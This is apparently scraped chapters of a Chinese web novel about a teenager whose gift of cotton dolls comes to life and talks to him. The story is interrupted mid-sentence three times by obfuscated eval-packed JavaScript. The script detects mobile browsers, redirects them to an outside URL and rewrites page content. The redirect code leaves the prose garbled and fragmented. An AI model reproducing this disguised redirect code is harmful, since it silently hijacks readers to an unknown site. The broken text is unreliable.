《人,你好,棉花娃娃呼叫》 1. 棉花娃娃 放学的铃声已经响过好一阵了,周五的教室却依旧热闹,空气里漂浮着一种微妙的放松,同学们离开教室的速度都比平日慢了不少。 黑色中性笔在修长指间灵巧地转了几圈,稳稳落回掌心,商澈慵懒地靠着椅背,笔尖利落地在试卷角落写下最后一个数字。 “阿澈,你家新出的这个小东西几乎要席卷市场了。” 来人戴着眼镜,面容是惯常的冷淡,指尖却捏着一个鼻嘎大小的棉花娃娃,在两根手指的作用下,还轻微扭动着身体,与主人冰山般的气质形成诡异反差。 “......”商澈抽了下嘴角,仿佛第一次认识陆泽铭似的,他上下打量着板板正正、一丝不苟穿着校服却捏着手中那个色彩鲜艳的软萌物件的好友,无语凝噎:“你怎么也会对这种东西感兴趣?” 陆泽铭抬手推了下眼镜,表情毫无波澜,一本正经道:“了解一下时尚潮流,顺带进行市场调研,而且客观来说,这个小东西确实挺可爱的。” 看着这位常年性.冷淡的好友面无表情说出“可爱”二字,商澈只觉得头皮发麻。 他“呵呵”干笑了两声。 陆泽铭看着他这副模样,问道:“怎么,你不喜欢?” “我为什么要喜欢。”商澈抱着手臂,毫不在意地贬低自家的新产品,“幼稚,无聊。” 只是他刚点评完,耳边就传出一阵惊呼声。 两人的视线被吸引过去,商澈和陆泽铭齐齐侧过头,三五个女生聚在一起,嘴里念叨着:“林芷,你这个娃娃也太可爱了吧!” “是啊是啊!怎么那么萌!快让姨姨亲亲!” “世界上怎么会有那么萌的崽崽!” “崽崽,要和姨姨家的宝宝做好棉友么~” “哈哈哈,你们好夸张啊~”名叫林芷的女生顶着一头齐肩发,笑得很甜。 商澈从交错的身影缝隙中窥见了她们口中热议的焦点——一个巴掌大小的棉花娃娃,比陆泽铭手里拿的要大上不少,不仅长得不一样,还要精致许多,显然是精心打扮过的定制款。 紧接着他就接收到好友意味深长的视线,仿佛在说“有本事你去她们面前说。” 商澈微微一笑:谢邀,婉拒了。 他虽然还是有些不理解这种东西有什么好可爱的,甚至能风靡市场,但不得不承认,最近棉花娃娃确实火得一塌糊涂,大街小巷全是广告,连批量生产的普通款都一娃难求,定制款的档期更是不知道排到猴年马月去了。 “林芷手里的看起来像是定制款,商叔叔没给你定制吗?”按照陆泽铭的了解,但凡商叔叔的公司有什么新品都会第一时间生产出定制款给商澈。 商澈满不在意,没好气道:“给我也是进垃圾桶的份。” 陆泽铭无奈地叹气:“你什么时候能不和商叔叔作对。” “我哪里和他作对了。”商澈眉心微拧,他有些烦躁地揉了揉头发,听着女生们正商量要去哪家甜品店打卡、拍娃片。 紧接着,他就听到好友小声请教:“娃片是什么?” 商澈懒得回答,没好气道:“我怎么知道。” 林芷为首的几个女生熙熙攘攘,打闹着要离开,看见还在座位上的两个人,问道:“商哥、陆哥,你们俩还不走吗?” “这就走。”商澈起身勾住陆泽铭的肩膀,经过林芷座位时,他瞥见地上落了张手掌大小的白色卡纸,顺手捡起。 上面印着个棉花娃娃的照片——脑袋极大,身子极小,诡异的比例。 ......跟大头儿子似的。 林芷看见他手上的东西惊喜道:“诶,我说这个娃片哪去了,原来是掉地下了啊。” 商澈赶紧将照片物归原主,却发现身边的人纹丝不动,他喉咙一滚:“嗯?” “这个叫娃片?”陆泽铭颇有求知欲地指了指。 “对啊,就是娃娃的照片,我还有好多呢,你们要看看吗?”林芷看起来十分兴奋的模样。 “不用了。”商澈抢先回答道,继而尴尬又不失礼貌地笑了一下,他对这种东西不感兴趣。 “但我想了解一下。”陆泽铭坚持道。 故意的吧! 商澈牙关微紧,看着认真欣赏娃片的好友,皮笑肉不笑道:“你对新事物的接受度,真是不断刷新我的认知。” “多谢夸奖。”陆泽铭淡定地回答他,将照片整理好还给林芷,“谢谢,照片拍得很可爱。” 林芷笑嘻嘻道:“没事儿,那我们先走啦,拜拜。” 一众女生离开后,陆泽铭才好奇地看向商澈:“你为什么那么不喜欢棉花娃娃?” “不喜欢就是不喜欢,还需要理由么。”商澈大步流星地往前走。 “你不觉得很可爱吗?” 冷脸的人竟然会喜欢这种软萌幼稚的东西,商澈很难认同:“一点儿都不。” 陆泽铭耸了耸肩:“好吧。” 反正以他对商澈的了解,这个人迟早要遭遇真香定律。 ...... 一回到家,商澈便把自己摔进沙发,他视线轻飘飘一扫就看见茶几上摆放的信纸。 都什么时代了,老商还坚持手写留言,商澈手臂一伸,捻起信纸的一角、甄别上面飘逸的字迹。 【爸爸要去出差一阵子,你照顾好自己,回来给你带礼物。】 【对了,爸爸给你准备了一份惊喜,已经放在房间里了。】 “能有什么惊喜......”商澈不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033527|194594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以为意地嘟囔了一句,然后起身往楼上走去。 房间是他熟悉的浅色调,但床上的东西却十分陌生,与他色调统一的床品格格不入,显得有些割裂的诡异。 四个一模一样的棉花娃娃从大到小、整整齐齐地摆放在他床上,与他沉默的十目相对。 “......?”到底谁会喜欢这种东西。 商澈一时之间有些失语,这是在搞哪一出?别告诉他这就是老商口中的惊喜。 他今天刚说了不喜欢,转眼自己就得到了四个幼稚又软绵绵的东西。 这算什么?现世报吗? 商澈简直要被无语笑了,他眼神带着毫不掩饰的嫌弃,打量着这些抢占自己床的棉花娃娃。 粉色的头发,金色的大眼睛,嘴巴像小猫似的,甚至像模像样地穿着身小衣服,还有三个复制粘贴般的小伙伴。 这又算什么?棉花娃娃组团进攻他的卧室吗?! 不行,还是要赶紧处理掉。 虽然他不喜欢,但好歹也是老商送的,“直接丢掉”这种话,也就在嘴上说说罢了,商澈思考了一下不知道从哪里摸出一个垃圾袋,然后将棉花娃娃从小到大依次往袋子里丢。 10厘米的、20厘米的,结果第三个垃圾袋就装不下了。 商澈目测了一下,剩下的两个大概是40厘米和80厘米的,他摸了摸下巴,思索了半天,得出一个结论——看来要换个更大的袋子了。 . 棉花娃娃睁开眼的瞬间就看见一个人类站在自己的面前,好像在思考如何把它丢掉,为了不被抛弃,它尝试友好地和对方打招呼。 于是,正思考该怎么处理这几个棉花娃娃的商澈,忽然一声软绵绵的、生涩的问候: “人,你好。” “......”商澈觉得自己好像幻听了。 看着愣在面前的人类,棉花娃娃又一次开口,声量都大了些:“人,你好!” 商澈猛得回头——身后空无一人。 到底是谁在说话!!!还是家里进脏东西了!!! “我在这里!”软绵绵的声音又响起。 商澈僵硬又缓慢地,一点一点回过头,难以置信地看向声音的来源——那个最大的棉花娃娃。 粉发金眸的棉花娃娃极快地眨了下眼。 商澈倒吸一口凉气——他现在不仅幻听,还开始幻视了?! 似乎是为了证明自己的存在,棉花娃娃的表情变得更加生动。在商澈惊恐的注视下,顶着可爱表情的棉花娃娃又眨了一下眼,再一次和他打了招呼。 OwO:“人,你好?” 谢谢,人现在很不好。 商澈觉得自己的病情可能相当严重了。 2. 欺棉太甚 商澈用力闭了闭眼,深吸一口气,试图将翻涌的荒谬感压下去,刚才一定是幻觉,他身体好得很,不可能有病。 对,就是这样,等他再次睁开眼,一切都会恢复正常。 商澈重重吐出一口气,猛地睁开眼—— 在他对面,那个80厘米棉花娃娃,依旧静静地端坐在那里。 但是......那双金线绣上去的、死板的眼睛,此刻仿佛有了活力和生气、一眨不眨地凝望着他,甚至在他看在和他对视发瞬间,那眼睛金色眼睛极快地、灵动地,眨了一下。 棉花娃娃:“O(≥ ▽ ≤)O!” 商澈:“......” 冷静——冷静—— 说不定是老商搞的什么高科技,想给他一个惊喜,商澈觉得做人不能自己吓自己,他看着刚才发出声音的棉花娃娃,然后求证般地伸出手。 棉花娃娃立刻感觉到有两只人类的手在扒拉它的发片,头顶上还传来困惑的低语:“奇怪,怎么没有开关?难道在身上?” 紧接着,它被放倒在柔软的床铺上,那双手将它身上精致的小衣服剥得干干净净,手掌在它充满棉花的身体上胡乱地摸索、按压。 “......”商澈皱着眉,他没有找到任何机电路或是芯片,触感是完全蓬松的棉花,那刚才的声音是从哪发出来的? 棉花娃娃现在很生气! 虽然它只是一个棉花娃娃,但这个人类真的太、太、太无理了! 竟然无视它的问候!还脱了它的漂亮衣服! 简直是欺棉太甚! (▽皿▽):“人,你很没有...礼貌!” 又来了,又听到声音了,商澈捏着棉花娃娃脚的手一抖,只是这个声音怎么听着像从身侧发出来的,不会吧?! 他缓慢、僵硬地侧过头,发现坐在一旁、十分整洁乖巧的40厘米棉花娃娃正“盯着”他。 “你怎么...能掀我..的头发,还脱我...的衣服。”这个比他手底下小一大半的棉花娃娃,顶着一个愤怒又羞恼的表情看向他。 (▽ヘ▽#):“快把我...恢复原状。” 见鬼。 “啪——”一声清脆的耳光在寂静的房间格外响亮,商澈干脆利落地给了自己一巴掌。 有点儿疼,不是幻觉。 商澈觉得自己十几年来建立起的唯物主义世界观,似乎开始噼里啪啦地破碎了。 棉花娃娃有些疑惑,它圆圆的眼睛变成两个巨大的问号:“...人...你在干嘛?” “你......你是个什么东西?”商澈的声音干涩得厉害,带着自己都没察觉到的沙哑。 棉花娃娃似乎对他的这个提问感到不解,它在商澈的眼皮底下动了起来,圆滚滚的脑袋微微歪了歪,它尝试着动了动软趴趴的手臂,可惜动作十分生涩和艰难,只能笨拙地小幅度晃了晃。 “东西?”它重复着,声音依旧是软糯的、带着点初学说话时的生涩,乖乖的小声回答:“棉花娃娃...就是...棉花娃娃呀。” “棉花娃娃不会说话更不会动!”商澈几乎是低斥出来,他觉得自己的理智摇摇欲坠,这简直太荒谬了! “不会说话...也不会动?”棉花娃娃似乎十分不解,不知道为什么商澈竟然能从它金色的大眼睛里看出一丝又困惑转化而来的......骄傲?! “我...会说话...会动..”它挺了挺几乎看不出来的胸膛,“我...厉害!” 棉花娃娃:O(≥ ▽ ≤)O! “......”商澈头疼欲裂地按住额角,感觉自己快要疯了,他竟然真的在跟一个棉花娃娃对话,甚至还在讨论它该不该会说话以及该不该会动。 “人,”棉花娃娃抬起软趴趴的手臂,缓慢又坚定地指向一侧,命令他,“把衣服...穿回去。” 商澈顺着那个微微抬起的手臂指向看去——被他扒光了的80厘米棉花娃娃还一.丝不.挂,维持着面部朝下、臀部翘起的姿势倒在床上。 “......”看起来真的可以顶起一瓶汽水。 “我不穿,你闭嘴。”商澈觉得自己现在需要冷静一下。 “哦。”棉花娃娃从善如流地应了一声,听话地闭上了嘴巴,只是用那双大眼睛直勾勾地盯着商澈,仿佛他是世界上最有趣的生物。 房间里陷入一种诡异的寂静,只剩下商澈略显粗重的呼吸声,几分钟后他毅然起身,离开了房间。 ...... 一阵兵荒马乱的翻箱倒柜声后,棉花娃娃看见回来的人类手里拿着一个巨大的蛇皮袋。 棉花娃娃:(* o . o *)? “什么会说话的棉花娃娃,眼不见为净......”商澈嘴里小声地念念有词,将敞开的蛇皮袋摊在脚边,他轻而易举地用手臂夹起那个80厘米的、被他扒得光秃秃的棉花娃娃,像处理废弃的大型玩偶一般,毫不留情地塞进了蛇皮袋里。 “嘭”地一声闷响,棉花娃娃的大脑袋隔着一层布袋和地板来了个亲密接触,四仰八叉地露出身体和被棉花塞得鼓鼓囊囊的四肢。 商澈无奈地扯了下嘴角、不情不愿地半蹲在床边,一手扯着袋口,一手费力地将棉花娃娃庞大的身体往里塞。 看着几乎快被撑炸了的蛇皮袋,商澈手臂一伸,还不忘把他脱下来的小衣服也丢进袋子里,只是这个塞进去了,还有个麻烦的东西没法处理。 他的目光抬起,看向床上端坐着的、用金色大眼睛“注视”着他的40厘米棉花娃娃。 商澈:“......” 棉花娃娃不理解面前这个人类为什么总喜欢把它塞进黑乎乎的地方,它其他的身体都动不了,也看不见东西了,只剩这一个可以使用,而那只“罪恶”的手依旧不依不饶地向它伸了过来。 棉花娃娃似乎预感到了什么,那副软绵绵的身体极其微弱地往后蹭了蹭,可除了身下的床单被蹭起一小片的褶皱外,它几乎毫无反抗之力。 商澈揪着棉花娃娃的一只手,轻轻松松将它拎了起来,又抖开一个黑色垃圾袋。 棉花娃娃似乎知道自己也逃不过被黑乎乎笼罩的命运,它那不足一提的,软绵又短小的手臂像要打人般、小幅度地扑腾着,看起来十分气愤。 (; ` O′)o:“人,你坏!” 商澈充耳不闻,手腕一转,干净利落地将它塞进垃圾袋里,又拿起丢在一旁的装着两个小号棉花娃娃的垃圾袋,拖着地上的蛇皮袋,浩浩荡荡“拖家带口”拐进了斜对面的储物间里。 说是储物间倒也不尽然,这个房间比商澈的卧室还要再大些,房间里整洁干净,大大小小的展示架上分门别类的摆满了各式各样的物品。 从破旧磨损的铅笔盒,到未拆开的腕表袖口,清晰的勾勒出商澈的成长轨迹,只是大约从某个时间点开始,这些礼物便只被收纳,不再被触碰。 他将笨重的袋子拖到角落,装着40厘米棉花娃娃的垃圾袋也有些负重不堪地“嘶啦”一声裂开一道缝隙,下一秒就被紧急堆到了鼓鼓囊囊的蛇皮袋上。 将这四个棉花娃娃堆放好后,商澈拍了拍手手上不存在的灰,他眉梢微挑、颇有一副解决了大难题后的轻松感,却在转身欲走的刹那,听到一声细弱的疑惑。 声音闷又轻,似乎一阵风就能吹散,可他就是听到了,还听得很清楚。 “人,你为什么..要这样...对棉..” 棉花娃娃的声音有些天真和懵懂,细细听来依旧是生涩的,夹杂着说不清道不明的失落。 商澈的脚步微不可察地顿了一下,他毫不疑惑自己产生了错觉,棉花娃娃能说话这一点已经够离谱的了,他竟然还能从中听出一丝丝直触心底的可怜。 不管有没有幻听,有没有幻视。 他现在更需要的是睡眠,以及一个醒来后正常的世界,等见到明早太阳的那一刻这个“荒诞”的梦就该醒了。 ...... 幸好棉花娃娃不用呼吸,不然捂在垃圾袋里不出一会儿,它就要变成“晴天娃娃”了。 金色的眼睛一眨一眨,棉花娃娃只记得上次这样睁开眼就看见了人,可这次它睁了无数次眼,依旧是一片黑暗,似乎是确认这个方法没用后,它有些气鼓鼓的。 (“▽皿▽):可恶的人类,为什么要拿黑乎乎罩住棉! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033528|194594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 棉花娃娃愤怒地抬起软乎乎的手臂,圆圆的小拳头胡乱挥舞,滑过松松垮垮的、阻碍着它视线和行动的垃圾袋,忽然,它感觉到拳头上那种莫名其妙的束缚感消失不见,一道细微的光亮从前方透了进来。 棉花娃娃:Σ(O A O丿)丿! 垃圾袋裂开的缝隙里伸出一只白皙的、面皮细腻的小手,试探性地晃了晃,前面那层薄膜似的阻碍真的没有了! 棉花娃娃慢吞吞地扬起脑袋,将那双金灿灿的眼睛凑过去,原本能看见的微弱光亮随着它越凑越近的距离反而变得暗淡,直至它整个脸颊都贴上垃圾袋的内壁,黑暗再次蒙蔽了它的双眼。 棉花娃娃:???(* o . o *)? 它后退一点光亮就出现一点,靠近一点就黑暗就袭来一点,如此重复了好几遍后,棉花娃娃才后知后觉意识到,自己的眼睛似乎不长在正中间。 那棉的眼睛究竟在哪呀? 圆滚滚的脑袋缓慢地左右移动,直到一只金色眼睛忽然从漆黑的塑料膜蹭到了那块破烂的裂口处,顿时,棉花娃娃觉得视野开阔,天光大亮。 !!!棉的天!棉又能看见啦! 棉花娃娃激动地整个身体都想往前凑,屁股跟着挪了挪,连那双小短腿也不安分地来回摆动,浑身上下的棉花纤维似乎都充斥着快乐的气息,它好奇地打量着这个有着微弱光亮的新世界。 原本没看到人,棉花娃娃还有点点伤心,不过它的注意力很快就被展示架上各种各样的玩具吸引了,尤其是那个亮晶晶的、发着光的圆球球。 棉花娃娃越看越好奇,越想凑近一些,可烦人的黑乎乎又限制住了它,棉花娃娃气得四肢乱动,被蛇皮袋拉链勾住的塑料袋再也支撑不住,在棉花娃娃又一次乱动后,“滋啦”一声,顺着它的重量从底部猛然撕裂。 “噗通”一声闷响,棉花娃娃猝不及防掉到了光滑的地板上,撕裂后变成一片的塑料袋飘飘荡荡盖到了它身上,像是给棉花娃娃盖被子似的,连脑袋都蒙住了。 过了半晌,地上那团黑色“被子”像个毛毛虫一样,笨拙地往前蠕动。 _Ω_Ω_Ω_...... 哼哧哼哧努力了半天,棉花娃娃扬起脑袋,沮丧地发现自己并没有离那个亮晶晶的圆球球越来越近。 它尝试伸出手,可滑滑的地板并没有可以抓住的地方,更别提它还没有手指。 真是令棉伤心。 触到地板上的小短腿徒劳地蹬了几下,依旧被干净瓷滑的地板打败了,棉花娃娃不服气,开始地双手双脚同时胡乱扑腾。 也不知道怎么回事,它感觉自己....好像前进了一点点.. 可以!棉会自己动了! (O >`ω′<> . 商澈的睡眠质量一向不太好,入睡总是要花上一段时间,而且觉浅,有点儿动静就会影响到他。 比方说现在,他总能隐隐约约听到一些奇奇怪怪的声响,像是有什么东西摩擦、传出的细微悉索声,还夹杂着东西落地的闷响声,断断续续的、好一会儿都没消停,在寂静的深夜里格外恼人。 翻来覆去,忍无可忍,商澈有些烦躁地掀开被子,踩上拖鞋,冷着脸去找声源。 他倒要去看看究竟是什么东西发出的动静。 打开卧室门后,声音更明显了些,东边的区域只有他在住,除了他的卧室和衣帽间,剩下的两间房一个做成了客卧,另一个...... 他眉眼压了压,眸光一沉,视线落到了斜对面上锁的储物间。 拇指按上门锁的识别区,“咔哒”一声轻响,商澈手掌向下,用力推开门,展示柜发感应灯带自然亮起,柔和的灯光足以让他将房间内的情形看清楚。 于是,商澈视线一扫,就看见比“棉花娃娃会开口说话”更诡异的一幕出现了。 一个黑色的塑料袋,在房间中央的地板上疯狂地、有节奏地起伏、扑腾,起落间发出闷响的撞击声和悉悉索索的摩擦声。 他额间的青筋不受控制地,狠狠跳了几下。 现在,他觉得睡觉也没用了,他可能需要考虑,家里是不是真的要请高人来看看了。 3. 约法三章 棉花娃娃扑腾了好半天,感觉自己距离发光的圆球球越来越近了,它完全沉迷于这种诡异的前进方式中,连房间内什么时候多了个人都不知道。 商澈抱着手臂、面无表情地盯着“发疯的塑料袋”,他修长的身形隐匿在展示柜旁的阴影处,眉目微皱,目光沉沉,不知道在想什么。 过了半晌,他脚步微动。 棉花娃娃被突然出现的东西挡住了继续前进的路,它停下扑腾的动作,覆在身上的塑料袋也重新稳稳地落到身上。 棉花娃娃:O.O? 烦人的噪音终于安静下来,商澈缓缓蹲下,修长的手指轻松一勾,失去了“小被子”的棉花娃娃仿佛重获新生,它呆呆地扬起脑袋,看到了横在自己面前的庞然大物,那双眼睛瞬间眨了眨。 这样看,人好像更大了诶......它有些兴奋。 OwO:“人!你来啦!” 商澈两眼一闭、胸腔内叹出的气也不知道是无奈还去无语更多些,他捏了捏眉心,似乎预料到是这般结果,果然发疯的不是塑料袋。 “你是怎么出来的?”商澈问道。 棉花娃娃歪了歪脑袋:“黑乎乎破了..棉掉下来..” “棉不疼。”它补充道。 “......”商澈怔了一下,谁关心它疼不疼了,话真多。 棉花娃娃趴在地上,挣扎着要起来,商澈就这样看着它,也不伸出援手,甚至用鼻息发出一声轻哼,漫不经心发问:“你究竟是什么东西?” “棉就是...棉花娃娃呀...”它检查过自己,胖乎乎的小短腿、圆乎乎的小手,是很标准的棉花娃娃啊,为什么这个人类总问它到底是什么。 “人,你是眼睛...不好吗?” 商澈简直要气笑了。 谁家棉花娃娃一脸无辜,却说着挑衅的话。 随后,他忽然意识到自己已经接受棉花娃娃会说话这件事了。 商澈:“......”大概是脑子也不正常了。 棉花娃娃还在地上扑腾,它不知道怎么样才能起来,腿也不听使唤,真伤棉心! 它偷偷埋下脑袋,和地板来了个亲密接触,在商澈看不见的地方那双金色的大眼睛从O-O变成了X-X。 棉很伤心,棉起不来,人也不知道帮帮棉...... 忽然,一根修长白皙的手指伸到棉花娃娃和地板的缝隙里,勾着它身前的背带裤,一用力就将它从地板上拎了起来,再轻轻往后一推,棉花娃娃就稳稳当当地坐好了。 终于可以和人面对面了,棉很开心! 只是它刚要说些什么,就看见商澈伸手去拿那片塑料袋。 “人,棉不想进..黑乎乎里..”它的声音很软,带着点儿可怜兮兮的颤抖,就像身体里一吹就散的棉花一般。 商澈的动作顿住了,他低头看着这个做工精致,穿着漂亮衣服的棉花娃娃,此刻努力、笨拙地抬起两只手臂,软绵绵地抱住他的手指,力道微弱地像羽毛轻抚,让他的指腹泛起细微痒意。 这触感过于真实,不是冷硬的金属、也不是毫无生气的物件,是软绵绵的、带着阳光晒后般温暖的味道,是整个储物间里与众不同的存在。 棉花娃娃睁着大大的眼睛,向他保证:“棉会很乖的。” 商澈闭了闭眼,喉结不自觉地上下滑动,理智告诉他,这个棉花娃娃不正常,应该立刻处理掉,但看着它这副软绵绵又乖巧讨好的模样,商澈那点儿嘴硬心软的毛病又开始作祟。 见商澈看着自己,棉花娃娃不仅抱着他的手指,甚至将脸颊都贴了上去,小幅度的蹭着,像是在撒娇。 商澈:“......” ...如果...万一把它扔出去,被其他人捡到就更麻烦了。 会说话的棉花娃娃,绝对是一个很好的研究对象,不只是引起骚乱那么简单...... 要是这个小东西口无遮拦,说出自己是哪来的,还认识他的话,他们商家估计也得进研究所坐坐了。 留下它只是为了更好的看管住...... 三秒后,商澈做出了一个让他事后回想起来都觉得自己可能真的疯了的决定。 “那你就留下吧。” 棉花娃娃松了一口气,一下子欢呼雀跃起来。 (☆▽☆):“人,你真好!” “......我说的留下只是暂时。”商澈顿了顿,“你需要和我约法三章。” “第一,不允许随便说话,尤其是有外人在的情况下。” “第二,不允许乱动,你只能这个房子里活动,跑出去被人抓到我可救不了你。” “第三,”商澈暂时没想到其他的,为了以防万一,他补充道:“你必须听我的话。” 棉花娃娃立刻点头,虽然它没有脖子,点头的幅度小到几乎看不出,只有头顶那簇粉色的呆毛颤了颤。 (≥ U ≤*):“我会听话的,人!” 突然那么乖是怎么回事,搞得他都不知道说什么...... 大概是中国人骨子里的习惯,见到活的总是下意识先喂点儿什么吃的,于是,商澈有些别扭地问道:“那什么,你饿不饿,要不要吃什么东西?” “人,你们cai...需要吃饭。”棉花娃娃慢吞吞地回答,似乎是在纠正商澈:“棉是棉,棉不吃。” “呵。”他就多嘴这一问。 刚说完这小东西还挺乖,转脸就说他菜,果然,他还是很不喜欢这种软绵绵的、幼稚又无聊的东西。 商澈手指勾着棉花娃娃身上的背带裤,微微将它拎起,把那片展开的垃圾袋垫到它的屁股下,棉花娃娃好奇地低头看了看自己屁股底下的黑乎乎。 这个坏东西刚才罩住它,又盖住它,现在还不是乖乖被它驯服,跑到了它的身下。 人帮棉出气,人好! 棉花娃娃两颗星星眼一眨一眨,崇拜般地望着商澈。 商澈被它看得心里发毛,无声地扯了下嘴角,微微俯下身贴近:“那你以后就呆在这里,保持安静,把自己当成一个普通的、正常的棉花娃娃,能做到吗?” 正常的、普通的棉花娃娃?它本来就是啊! “明白!”棉花娃娃用力回答,虽然声音依旧是软绵绵的,听起来毫无可信度。 商澈看着它那副“努力严肃”,实际只是笨重的脑袋轻轻晃了一下,一副呆愣愚蠢的模样,顿感无比心累,他四指陷进发丝,有些无可奈何地拢了下头发,手掌撑着额角,看着面前这个小东西。 棉花娃娃:(☆o☆) 商澈:“......”无语。 ...... 长时间的半蹲商澈的脚都有些麻了,他顺势坐下,双腿一盘,手肘支在自己的大腿上,长长地吐出一口气,连地板上层不确定存不存在的灰尘都懒得顾忌了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033529|194594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 今天到底是什么“魔幻”日子...... 先是陆泽铭诡异地“人设崩塌”,对这种软萌无趣的东西产生了兴趣,紧接着是他那位永远忙碌的父亲又要远渡重洋、归期不定,最后......还来了个会说话、会动的棉花娃娃。 更离谱的是,他现在竟然坐在这里,平淡的接受了一切。 真是好荒诞啊—— 也不知道该夸他接受程度高、适应力超群,还是骂他没心没肺、神经大条了。 思绪纷乱时,他忽然感觉到自己的小腿被一个软软的、没什么力道的东西轻轻碰了碰。 商澈垂下视线,棉花娃娃不知道什么时候蹭到了他身边,正用那只软趴趴的手小心翼翼地碰了碰他的裤脚。 “人......”棉花娃娃仰着脸,小声地叫着他。 “干嘛?”商澈语气淡淡的,没什么好气。 棉花娃娃眨着那双过分大的金色瞳孔,眼巴巴地望着他:“人可以..把棉从..黑乎乎里..放出来吗?” “什么黑乎乎?什么放出来?你不是在这里吗?”商澈觉得人类和棉花娃娃的沟通确实存在某些障壁,不然他怎么听得云里雾里的,还是说他的大脑尚未重启...... 棉花娃娃努力弯下腰,圆乎乎的小手点在了商澈垫到它屁股下的塑料袋,一本正经道:“这个...黑乎乎..” 好傻啊—— 商澈发出一声短促的轻笑,不知道是不是在嘲讽它,还是觉得这傻气里透着可爱:“这不叫黑乎乎,这是塑料袋。” “哦..塑料袋..”棉花娃娃像只学舌的鹦鹉,认真的重复。 商澈:“......”怎么有种教人类幼崽说话的错觉,他对自己此刻的耐心感到些许无语:“你让我放什么出来?” 棉花娃娃双手自然垂在身侧,小屁股微微向后撅起,脑袋努力向前伸,小猫似的嘴巴一张一合:“放棉出来。” 净说些让人听不懂的。 商澈:“你就在外面。” 棉花娃娃觉得他说的对,但好像又有哪里不对,它低下头看着自己的手,试图数数。 “一...一...一...” 为什么每次数到“一”手指就不够用了,棉花娃娃有些苦恼,于是,它看向自己的另一只手,继续数:“二......” 还是不够,它目光转向商澈搭在膝盖上的修长手指,小声地数着:“三......” 四在哪呀? 棉花娃娃歪了歪脑袋,眼睛努力睁大向上看,终于发现了商澈撑着额角的另一只手,它兴奋地用圆手一指:“四!” 对了!就是四个! “人......”棉花娃娃往前蹭了蹭,又戳了戳商澈的裤脚,等商澈的视线落过来后,它才慢吞吞道:“可棉..有四个....” 什么四个...... 商澈猛地一愣,视线下意识投向角落那个鼓鼓囊囊的灰色蛇皮袋,他简直要被气笑了:“我费了九牛二虎之力才塞进去拖过来的,你说拿出来就拿出来?” 棉花娃娃不知道是听不懂还是根本不想听,又或者根本不在意他有些愤怨的语气,只是固执地抬起手指向角落,然后委屈巴巴地控诉,声音拖得长长的:“里面..黑乎乎的,棉很不..喜欢黑乎乎..” ......不喜欢你就忍着。 一个棉花娃娃还命令起他来了。 4. 一团棉花 商澈实在想不通为什么自己大半夜不睡觉,还坐在地上和四个棉花娃娃面面相觑,更离谱的是自己竟然真的伸手去捞蛇皮袋里,那几件被他亲手脱下的小衣服。 棉花娃娃坐在对面监视着他,看他一脸嫌弃地用手指拎起一件小小的背带裤抖了抖。 “人,穿衣服!”棉花娃娃乖巧地朗声指挥他,手臂指向依旧是那个光秃秃的、80厘米的棉花娃娃。 也不知道到底是这团“棉花制品”记性好,还是“棉花脑袋”的娃娃头脑简单只能记得这一件事——开口闭口、翻来覆去都是让他把棉花娃娃的衣服穿好。 “知道了,别催。”商澈面上带着些许不易察觉的烦躁,嘴里依旧说着不讨棉花娃娃欢心的话,“信不信我把你也扒了。” “凶巴巴”的人嘴上不饶棉,手却下意识地去摸蛇皮袋里落下的几件衣服。 背带裤、衬衫、帽子,还有假模假样的两只鞋......穿得还挺全乎,就是他看了看不知道该如何下手。 “人,你连..穿衣服..都不会吗?”棉花娃娃仰着脑袋,金色的大眼睛看起来有些困惑,语气真诚地发问。 棉花娃娃:(* o . o *)? 又被挑衅了。 商澈捏着衬衫的手一紧。 棉花娃娃似乎真的想教他如何穿衣服,它屁股一挪一挪,凑到商澈的腿边,仰起头,一字一顿地认真指导:“把棉的手..伸进衬衫里..再拿出来..然后扣上扣子。” 它顿了顿,生怕这个笨拙的人类遗漏步骤,特意提醒:“两只手...都要哦~” 商澈扯了下嘴角,只觉得自己身心俱疲:“我不是傻子。” “哦。”棉花娃娃轻轻应了一声,然后追问他:“那你为什么..还不给棉..穿衣服?” 这家伙是对穿衣服有什么执念吗?难不成一个棉花娃娃还知道害羞? 商澈忽然生出一丝好奇:“你为什么一定要我帮你把衣服穿上?” 棉花娃娃的小圆手试探着搭在他的小腿上,似乎思考了一下才能回答他的问题:“因为棉..睁开眼..就是穿着..衣服的呀。” 商澈感受到它的轻飘飘的小动作,隔着薄薄的布料,棉花娃娃小圆手搭上来的触感有些微妙,他逃避似地收了收腿,继续问:“那如果你睁开眼就没穿衣服呢?” 这次,棉花娃娃回答得非常轻快又简单:“那就不穿!” 商澈:“......”搞半天是个逻辑简单又直接、徒有其表并没有脑袋的东西。 “那我要是不给你穿呢?”商澈俯身靠近,语气带着明显的逗弄,“你能拿我怎么样?” 